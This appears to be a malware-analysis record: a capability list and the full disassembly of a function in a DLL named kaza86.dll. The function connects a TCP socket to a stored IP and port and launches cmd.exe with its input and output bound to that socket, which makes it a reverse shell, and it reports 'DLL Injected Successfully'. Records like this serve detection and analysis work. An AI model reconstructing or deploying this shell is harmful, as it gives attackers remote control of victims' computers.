Function at 0x63581440
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create a process with modified i/o handles and window
Create process on windows
Create process suspended
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
push edi
push ebx
sub esp, 0x130
mov dword [esp + 4], sym.kaza86.dll_wsaData
mov dword [esp], 0x202
mov eax, dword [sym.imp.WS2_32.dll_WSAStartup]
call eax
sub esp, 8
test eax, eax
setne al
test al, al
je 0x6358149b
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.Error
mov dword [esp + 4], str.WSAStartup_failed
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
jmp 0x63581744
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WS2_32.dll_WSASocketA]
call eax
sub esp, 0x18
mov dword [sym.kaza86.dll_Winsock], eax
mov eax, dword [sym.kaza86.dll_Winsock]
cmp eax, 0xffffffff
jne 0x63581511
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.Error
mov dword [esp + 4], str.Socket_creation_failed
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
jmp 0x63581744
mov word [sym.kaza86.dll_hax], 2
mov dword [esp], sym.kaza86.dll_port
call sym._atoi
movzx eax, ax
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_htons]
call eax
sub esp, 4
mov word [0x635851b6], ax
mov dword [esp], sym.kaza86.dll_ip_addr
mov eax, dword [sym.imp.WS2_32.dll_inet_addr]
call eax
sub esp, 4
mov dword [0x635851b8], eax
mov eax, dword [sym.kaza86.dll_Winsock]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x10
mov dword [esp + 4], sym.kaza86.dll_hax
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_WSAConnect]
call eax
sub esp, 0x1c
cmp eax, 0xffffffff
sete al
test al, al
je 0x635815e5
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.Error
mov dword [esp + 4], str.Connection_failed
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
mov eax, dword [sym.kaza86.dll_Winsock]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
mov eax, dword [sym.imp.WS2_32.dll_WSACleanup]
call eax
jmp 0x63581744
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
mov dword [esp], sym.kaza86.dll_ini_processo
call sym._memset
mov dword [sym.kaza86.dll_ini_processo], 0x44
mov dword [0x6358520c], 0x101
mov eax, dword [sym.kaza86.dll_Winsock]
mov dword [0x63585220], eax
mov eax, dword [0x63585220]
mov dword [0x6358521c], eax
mov eax, dword [0x6358521c]
mov dword [0x63585218], eax
mov dword [ebp - 0x107], 0x2e646d63
mov dword [ebp - 0x103], 0x657865
lea eax, [ebp - 0xff]
mov ecx, 0xf7
mov ebx, 0
mov dword [eax], ebx
mov dword [eax + ecx - 4], ebx
lea edx, [eax + 4]
and edx, 0xfffffffc
sub eax, edx
add ecx, eax
and ecx, 0xfffffffc
shr ecx, 2
mov edi, edx
mov eax, ebx
rep stosd dword es:[edi], eax
mov dword [esp + 0x24], sym.kaza86.dll_processo_info
mov dword [esp + 0x20], sym.kaza86.dll_ini_processo
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x107]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
test eax, eax
sete al
test al, al
je 0x6358171b
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.Error
mov dword [esp + 4], str.CreateProcess_failed
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
mov eax, dword [sym.kaza86.dll_Winsock]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
mov eax, dword [sym.imp.WS2_32.dll_WSACleanup]
call eax
jmp 0x63581744
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.Success
mov dword [esp + 4], str.DLL_Injected_Successfully_
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
lea esp, [ebp - 8]
pop ebx
pop edi
pop ebp
ret